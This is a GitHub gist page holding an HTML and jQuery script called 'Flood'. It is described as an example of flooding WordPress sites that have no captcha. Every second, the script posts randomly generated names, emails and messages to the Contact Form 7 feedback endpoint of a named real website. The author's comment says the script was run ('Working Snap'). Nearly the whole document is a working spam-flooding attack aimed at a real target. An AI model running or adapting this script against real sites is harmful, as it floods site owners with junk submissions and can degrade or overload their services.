Skip to content

Instantly share code, notes, and snippets.

@Lablnet Lablnet/flood.html
Created Apr 6, 2019

Embed
What would you like to do?
An example script to show flood with wordPress website(where no captcha)
<!DOCTYPE HTML>
<html>
<head>
<title>Flood</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
</head>
<body>
<div>
<span id='status'></span>
</div>
</body>
<script>
//Generate the ramdom salts
function makeid(length) {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < length; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
//Count no of entery
count = 0;
function flood_up()
{
count++;
var URL = " https://softotornix.com/wp-json/contact-form-7/v1/contact-forms/5835/feedback";
var name = makeid(10);
var email = name + "@gmail.com";
var subject = name + " subject"
var b = makeid(100);
var body = b + " body"
console.log(count);
console.log(name);
console.log(email);
console.log(subject);
console.log(body);
//Sending flood data
$.post(URL, {"your-name": name, "your-email": email, "your-subject": subject, "your-message": body
} ,function(data) {
console.log(data);
$("#status").append("<h3>Sending Request... "+count+"</h3>" + " <b>Name:</b> " + name + " <b>Email:</b> " + email + "<br/> <b>Body:</b> " + body + "<br/> <h3>Server Response: </h3> " + data.message + "<br/>");
//Scroll down.
window.scrollBy(0,500);
});
}
//Continue flooding on every second.
setInterval(flood_up, 1000);
</script>
</html>
@Lablnet

This comment has been minimized.

Copy link
Owner Author

commented Apr 6, 2019

Working Snap.
enter image description here

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.